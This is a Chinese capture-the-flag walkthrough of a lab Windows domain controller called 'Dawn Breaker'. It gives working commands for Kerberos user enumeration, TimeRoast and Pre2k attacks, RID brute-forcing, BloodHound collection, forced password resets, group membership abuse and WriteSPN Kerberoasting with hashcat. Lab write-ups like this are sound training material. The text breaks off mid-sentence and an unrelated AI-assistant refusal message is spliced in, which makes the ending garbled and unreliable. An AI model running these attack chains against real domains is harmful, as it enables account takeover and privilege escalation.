无境靶机 Dawn Breaker WP复盘
字数 3213
更新时间 2026-05-09 11:35:15

无境靶机 Dawn Breaker 渗透测试全流程教学文档

一、靶机与环境准备

1.1 靶机信息

  • 靶机地址:https://bdziyi.com/ulab/lab.html?page=target-detail&id=152
  • 靶机作者:Scarecrow
  • 环境类型:Windows Server 2016 域控制器(Domain Controller),域名为 sec.lab,域控主机名为 AD.sec.lab,IP 为 192.168.111.10

二、初始端口扫描与服务识别

2.1 扫描工具选择

为提高效率,采用 RustScan + Nmap 组合:

  • RustScan 快速探测开放端口;
  • Nmap 联动详细服务版本检测(-sV)与默认脚本扫描(-sC)。

2.2 扫描命令

rustscan -u 5000 -a 192.168.111.10 -- -sCV

2.3 关键端口与服务分析

端口 服务 作用说明
53 DNS 域名解析,用于域环境枚举
88 Kerberos Kerberos 认证核心,支持 Kerberoasting、AS-REP Roasting 等攻击
135/593 RPC 远程过程调用,用于域对象枚举
139/445 SMB 文件共享与命名管道,支持 Null Session 探测或 smbexec 执行
389/3268 LDAP 轻量级目录访问协议,查询域内用户、计算机、架构等信息
5985 WinRM Windows 远程管理,获取凭据后可直连 Shell
9389 ADWS Active Directory Web Services,用于 PowerShell 域管理
49666+ Dynamic RPC 动态高位端口,RPC 服务通信

三、匿名枚举与初始凭证获取

3.1 匿名枚举限制

目标服务器禁用了 LDAP 匿名绑定ldapsearch/nxc ldap 返回 000004DC: LdapErr)和 SMB/RPC 匿名枚举--shares/lookupsids 返回 STATUS_ACCESS_DENIED),无法直接拉取域内信息。

3.2 Kerberos 用户枚举

使用 kerbrute 爆破域内用户名(字典:/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt):

kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -d sec.lab --dc 192.168.111.10

结果:发现有效用户名 augustasolaris

3.3 TimeRoast + Pre2k 攻击获取计算机账户凭证

3.3.1 TimeRoast 原理

针对 计算机账户(Machine Account),通过 Kerberos 协议获取其哈希(文档未详述具体原理,可参考作者另一篇文章:https://xz.aliyun.com/news/91598)。

3.3.2 操作步骤

  1. 使用 nxc smb 执行 TimeRoast 模块:

    nxc smb 192.168.111.10 -u '' -p '' -M timeroast
    

    爆破出计算机账户密码 solaris(对应计算机名 SOLARIS$,需加 $ 后缀)。

  2. Pre2k 攻击验证:
    预创建计算机账户(管理员提前创建未加域的计算机对象)默认密码为 计算机名小写(不带 $)。使用 nxc ldap 验证:

    nxc ldap 192.168.111.10 -u 'solaris$' -p 'solaris' -k -M pre2k
    

    结果:认证成功,获得第一组有效凭证 sec.lab\solaris$:solaris(需用 -k 强制 Kerberos 认证,因计算机账户默认禁用 NTLM)。

四、初始凭证后的域内枚举

4.1 密码策略检查

使用 nxc smb 查看密码策略,避免无效爆破:

nxc smb 192.168.111.10 -u 'solaris$' -p 'solaris' -k --pass-pol

结果:账号失败 5 次后锁定 30 分钟,无法爆破。

4.2 RID 循环枚举域内对象

通过 RID Brute-forcing 枚举域内用户、组、计算机(RID 是域内对象的唯一标识):

nxc smb 192.168.111.10 -u 'solaris$' -p 'solaris' -k --rid-brute

关键结果

  • 普通用户DefaultAccountRoverVerinaCalcharoJinxiYangyang 等;
  • 计算机用户AD$(域控)、SOLARIS$(预创建计算机账户);
  • JinzhouBlack ShoresRinascitaLahayoDomain Admins 等。

4.3 BloodHound 域攻击路径可视化

使用 bloodhound-python 收集域内关系数据:

bloodhound-python -u 'solaris$' -p solaris -d sec.lab -ns 192.168.111.10 -dc AD.sec.lab -c All --zip

生成 bloodhound.zip,导入 BloodHound 分析攻击路径。

五、ACL 链式提权与权限扩展

5.1 接管并激活目标用户 Rover

5.1.1 重置 Rover 密码

使用 bloodyAD 重置 Rover 密码(需 Kerberos 认证 -k):

bloodyAD -u 'solaris$' -p 'solaris' -k --host AD.sec.lab -d sec.lab set password 'rover' 'Admin@123'

5.1.2 启用 Rover 账户

Rover 初始状态为禁用(UAC 标志 ACCOUNTDISABLE),需移除禁用标志:

# 移除禁用标志
bloodyAD -d sec.lab -u 'solaris$' -p 'solaris' -k --host AD.sec.lab remove uac rover -f ACCOUNTDISABLE

# 验证启用状态
nxc ldap 192.168.111.10 -u 'solaris$' -p 'solaris' -k --active-users

5.1.3 将 Rover 加入 Jinzhou

Jinzhou 组拥有后续权限,需将 Rover 加入该组:

bloodyAD --dc-ip 192.168.111.10 -d sec.lab -u rover -p Admin@123 -k --host AD.sec.lab add groupMember "JINZHOU" rover

5.2 WriteSPN 权限利用(Kerberoasting)

5.2.1 权限背景

Jinzhou 组对 YangyangJinxiCalcharoVerina 拥有 WriteSPN 权限(可修改用户 servicePrincipalName 属性)。

5.2.2 操作步骤

  1. 为目标用户添加伪造 SPN(格式:HTTP/用户名):

    bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object YANGYANG servicePrincipalName -v "HTTP/YANGYANG"
    bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object JINXI servicePrincipalName -v "HTTP/JINXI"
    bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object CALCHARO servicePrincipalName -v "HTTP/CALCHARO"
    bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object VERINA servicePrincipalName -v "HTTP/VERINA"
    
  2. 请求 Kerberos 服务票据并离线破解:

    # 请求票据
    impacket-GetUserSPNs sec.lab/rover:Admin@123 -request -outputfile hashes.txt
    
    # 用 hashcat 破解(字典:rockyou.txt)
    hashcat hashes.txt /usr/share/wordlists/rockyou.txt
    

    结果:爆破出 Yangyang: HelloJinxi: Jinxin

5.3 ACL 链式提权至 Lahayo

5.3.1 加入 Black Shores

JinxiBlack Shores 组有 AddMember 权限,将 Rover 加入该组:

bloodyAD -d sec.lab -u jinxi -p 'Jinxin' --host 192.168.111.10 add groupMember "BLACK SHORES" rover

5.3.2 获取 THESHOREKEEPER 完全控制权

Black Shores 组对 THESHOREKEEPERWriteOwner 权限,可修改其所 这个问题目前超出了我的处理范围,我没有办法为你提供有效的回应。
我可以帮你做的事情还有很多:
• 提出任何你感兴趣的话题,我来帮你解答
• 或者告诉我你的实际需求,我们一起找到合适的切入点
欢迎继续向我提问,我随时准备好为你服务。

相似文章
相似文章
 全屏